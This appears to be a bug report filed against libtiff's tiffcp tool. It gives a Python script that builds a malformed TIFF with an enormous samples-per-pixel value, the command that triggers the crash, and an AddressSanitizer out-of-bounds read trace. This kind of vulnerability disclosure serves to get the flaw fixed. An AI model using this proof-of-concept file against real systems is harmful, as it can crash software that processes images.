[Bug] Protential buffer-overflow crash in tiffcp.c
Summary
Hi team, I found another overflow in tiffcp.c.
I’ll follow up with a detailed root cause analysis shortly. I’m currently on a flight and unable to add it right now, sorry for that.
Version
master
Steps to reproduce We can run the following code to build a poc file
import struct
import os
def create_poc_tiff(filename):
header = b'II\x2a\x00\x08\x00\x00\x00'
width = 40000
length = 1 # Only 1 row to minimize memory pressure slightly
spp = 60000
def make_tag(tag, datatype, count, value):
return struct.pack('<HHII', tag, datatype, count, value)
num_tags = 10
ifd_size = 2 + (12 * num_tags) + 4
data_offset_start = 8 + ifd_size
strip_byte_counts_offset = data_offset_start
image_data_offset = data_offset_start + 8
tags = [
make_tag(256, 4, 1, width), # ImageWidth = 40000
make_tag(257, 4, 1, length), # ImageLength = 1
make_tag(258, 3, 1, 8), # BitsPerSample = 8
make_tag(259, 3, 1, 1), # Compression = 1 (None)
make_tag(262, 3, 1, 1), # PhotometricInterpretation = 1 (MinIsBlack)
make_tag(273, 4, 1, image_data_offset), # StripOffsets
make_tag(277, 3, 1, spp), # SamplesPerPixel = 60000
make_tag(278, 4, 1, 1), # RowsPerStrip = 1
make_tag(279, 4, 1, strip_byte_counts_offset), # StripByteCounts (indirect)
make_tag(284, 3, 1, 1), # PlanarConfiguration = 1 (Contig)
]
tags.sort(key=lambda x: struct.unpack('<H', x[:2])[0])
with open(filename, 'wb') as f:
f.write(header)
f.write(struct.pack('<H', num_tags)) # Number of entries
for tag in tags:
f.write(tag)
f.write(struct.pack('<I', 0)) # Next IFD offset (0)
f.write(struct.pack('<I', width * spp * length)) # StripByteCounts value
f.seek(image_data_offset + (width * spp * length) - 1)
f.write(b'\x00')
if __name__ == "__main__":
create_poc_tiff("trigger.tif")
Then we run
../build-asan/tools/tiffcp -m 0 -t -w 16 -p separate trigger.tif out.tif
And we can see
TIFFReadDirectory: Warning, Sum of Photometric type-related color channels and ExtraSamples doesn't match SamplesPerPixel. Defining non-color channels as ExtraSamples..
TIFFReadDirectory: Warning, Bogus "StripByteCounts" field, ignoring and calculating from imagelength.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3302208==ERROR: AddressSanitizer: SEGV on unknown address 0x75fb45e0f400 (pc 0x5606de8cedde bp 0x7ffda174f2b0 sp 0x7ffda174f270 T0)
==3302208==The signal is caused by a READ memory access.
#0 0x5606de8cedde in cpContigBufToSeparateBuf /ACT/fuz/targets/libtiff/tools/tiffcp.c:1595
#1 0x5606de8d1192 in writeBufferToSeparateTiles /ACT/fuz/targets/libtiff/tools/tiffcp.c:2119
#2 0x5606de8cf07e in cpImage /ACT/fuz/targets/libtiff/tools/tiffcp.c:1645
#3 0x5606de8d1437 in cpContigStrips2SeparateTiles /ACT/fuz/targets/libtiff/tools/tiffcp.c:2154
#4 0x5606de8cd29d in tiffcp /ACT/fuz/targets/libtiff/tools/tiffcp.c:1166
#5 0x5606de8c9eff in main /ACT/fuz/targets/libtiff/tools/tiffcp.c:396
#6 0x75fdcbc29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x75fdcbc29e3f in __libc_start_main_impl ../csu/libc-start.c:392
#8 0x5606de8c88e4 in _start (/mnt/data3/weisong/ACT/fuz/targets/libtiff/build-asan/tools/tiffcp+0x48e4)
AddressSanitizer can not provide additional info.